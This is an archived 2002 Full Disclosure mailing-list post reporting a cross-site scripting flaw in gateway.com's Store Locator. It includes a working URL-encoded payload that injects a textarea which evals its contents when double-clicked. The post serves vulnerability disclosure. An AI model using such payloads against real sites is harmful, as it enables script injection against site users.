Full Disclosure mailing list archives
Gateway.com Store Locator Cross-Site Scripting Vulnerability
From: full-disclosure () lists netsys com (Matthew Murphy)
Date: Fri, 16 Aug 2002 17:54:22 -0500
In yet another situation involving unvalidated numeric input, gateway.com's "Store Locator" feature suffers from a cross-site scripting vulnerability. http://commerce.gateway.com/country/zipresults.asp?zipcode=%22%3E%3CTEXTAREA %20STYLE%3Dheight%3A300px%3Bwidth%3A300px%3B%20ONDBLCLICK%3Deval%28this%2Eva lue%29%3E%3C%2FTEXTAREA%3E This sets up a textbox where JS commands can be entered. "The reason the mainstream is thought of as a stream is because it is so shallow." - Author Unknown
Current thread:
- Gateway.com Store Locator Cross-Site Scripting Vulnerability Matthew Murphy (Aug 16)